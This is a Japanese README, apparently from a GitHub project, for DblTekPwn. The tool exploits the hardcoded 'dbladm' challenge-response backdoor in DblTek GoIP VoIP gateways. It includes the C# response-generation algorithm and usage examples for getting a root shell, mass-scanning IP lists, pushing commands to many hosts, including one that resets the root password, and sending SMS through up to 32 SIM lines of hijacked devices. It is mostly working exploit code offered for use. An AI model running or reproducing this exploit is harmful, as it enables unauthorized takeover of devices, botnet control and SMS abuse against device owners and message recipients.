
Tool to check if an IP of a DblTek GoIP is vulnerable to a challenge-response login system, send SMS messages from the system, execute remote commands botnet style, and generate responses to challenges.
脆弱なDblTek GoIPデバイスにおけるチャレンジレスポンスシステムを悪用するツール。指定されたチャレンジに対するレスポンスの生成、ホストへの脆弱性テスト、脆弱なホストでのコマンド実行、ホストからのSMS送信、および任意の脆弱なホストへのルートシェルの投入が可能です。
2017年3月2日、Trustwaveはセキュリティ研究者がDblTek GoIP VoIP電話で発見した脆弱性を公開しました。この脆弱性は、'dbladm'というアカウントのファームウェアに組み込まれたバックドアでした。ユーザーがtelnetプロンプトでこのユーザー名を入力すると、システムはチャレンジを提示し、適切なレスポンスを返すと、ユーザーはシステムのルートシェルを取得できるというものでした。
このようなチャレンジレスポンスシステムの問題点は、デバイスの安全性がレスポンス生成アルゴリズムに依存している点にあります。このアルゴリズムは、DblTekが提供するファームウェアバイナリをリバースエンジニアリングして明らかになりました。このアルゴリズムを使用することで、任意のDblTek GoIPデバイスでルートシェルを取得できます。
元記事: https://www.trustwave.com/Resources/SpiderLabs-Blog/Undocumented-Backdoor-Account-in-DBLTek-GoIP/
上記の記事で説明されているバックドアの記述をもとに、私はこの脆弱性に対する初期のエクスプロイトコードの一部を作成しました。その核となるのは、もちろん、与えられたチャレンジに基づいてレスポンスを生成するアルゴリズムです。以下は、C#で記述されたその関数です。
static string ComputeResponse(string challengeStr)
{
int challenge = Convert.ToInt32(challengeStr.Substring(1)); // 'N'以降の数字のみを取得
string modified = (challenge + 20139 + (challenge >> 3)).ToString(); // ダミーの1337操作を実行
byte[] buffer = new byte[64];
// 文字列をバッファの最初の部分にコピー
for (int i = 0; i < modified.Length; i++)
buffer[i] = (byte)modified[i];
var md5 = MD5.Create();
byte[] hash = md5.ComputeHash(buffer); // バッファのMD5を計算
StringBuilder sb = new StringBuilder(); // 結果を保持
// MD5の最初の6バイトをパディングなしの16進数で取得
for (int i = 0; i < 6; i++)
sb.Append(hash[i].ToString("x"));
return sb.ToString(); // 完了
}
DblTekPwnを引数なしで実行すると、ヘルプが表示されます。以下がその出力です。
USAGE: DblTekPwn.exe [MODE] [HOSTS] [OUTPUT]
[MODE]:
-c --compute-response [CHALLENGE] 指定されたチャレンジに対するレスポンスを計算します。
-r --root-shell 脆弱なホストでルートシェルを起動します。
-s --send-commands [COMMAND_FILE] ファイルから脆弱なホストにコマンドを送信します。
-t --test ホストをテストし、脆弱かどうかを判定します。
-h --help このヘルプを表示して終了します。
[HOSTS]:
-n --name [IP] 単一のIPアドレスを指定します。
-f --file [IP_FILE] IP\nIP\nIP形式のファイルを指定します。
[OUTPUT]:
-o --output [OUTPUT_FILE] 出力ファイルを指定します。デフォルトは標準入力です。
DblTekGoIPPwnを使用すると、脆弱なシステムで簡単にルートシェルを取得できます。脆弱なIPを指定して以下のコマンドを実行するだけです。
DblTekPwn.exe --root-shell --name 192.168.1.1
次のような出力が表示されます。
Password: ***********
ここからコマンドを入力できます(シェルプロンプトは表示されません)。
例えば、GoIPのチャレンジ N1746203308 に対するレスポンスを計算したい場合、次のコマンドを実行します。
DblTekPwn --compute-response N1746203308
出力はレスポンスです。
d6176d3aab2
list.txt に記載されたIPアドレスが脆弱なGoIPかどうかを確認し、結果を results.txt に出力したい場合。まず、IPアドレスが ip:port 形式(ポートのデフォルトは23)であり、改行 \n で区切られていることを確認してください。その後、次のコマンドを実行します。
DblTekPwn.exe --test --file list.txt --output results.txt
list.txt:
192.168.1.0
192.168.1.1
192.168.1.2:1337
192.168.1.3
192.168.1.4:2323
results.txt:
192.168.1.0 False
192.168.1.1 True
192.168.1.2:1337 True
192.168.1.3 False
192.168.1.4:2323 False
ホストの後ろにある False または True は、そのIPが脆弱かどうかを示します。
cmds.txt にコマンド(実際にはtelnet入力のリスト)があり、それを list.txt のIPアドレスに送信し、出力を results.txt に保存したい場合。まず、IPアドレスが ip:port 形式(ポートのデフォルトは23)であり、IPアドレスとコマンドの両方がそれぞれのファイル内で改行 \n で区切られていることを確認してください。その後、次のコマンドを実行します。
DblTekPwn.exe --send-commands cmds.txt --file list.txt --output results.txt
list.txt:
192.168.1.0
192.168.1.1
192.168.1.2:1337
192.168.1.3
192.168.1.4:2323
cmds.txt:
passwd root
toor
toor
exit
results.txt:
192.168.1.0 False
192.168.1.1 True
192.168.1.2:1337 True
192.168.1.3 False
192.168.1.4:2323 False
ホストの後ろにある False または True は、接続が正常に確立され、コマンドが配信されたかどうかを示します。
このGitHubリポジトリのコードは、ハッキングされたGoIPからSMS(テキスト)メッセージを送信するための抽象化を提供します。このコードを使用するには、アプリケーションに DblTekPwn.exe を含め、次の using ステートメントを追加します。
using DblTekPwn.SMS
これで、コード内で静的な SmsSender.SendSms メソッドを使用できます。以下にいくつかの例を示します。
string[] nums = new string[] { "18005551234" };
string goIP = "192.168.1.3";
string msg = "Hello, World!";
SmsSender.SendSms(goIP, 23, nums, msg);
ほとんどのGoIPは最大32枚のSIMカードを搭載しており、ハッカーはこれらの回線すべてからSMSメッセージを送信できます。
string[] nums = new string[] { "18005551234" };
string goIP = "192.168.1.3";
string msg = "Hai";
int numbers = 15;
SmsSender.SendSms(goIP, 23, nums, msg, 1, numbers);
strings[] nums = new string[] { "18005551234", "18005554321", "18005551337" };
string goIP = "192.168.1.3";
string msg = "We are legion";
int numbers = 32;
SmsSender.SendSms(goIP, 23, nums, msg, 1, numbers);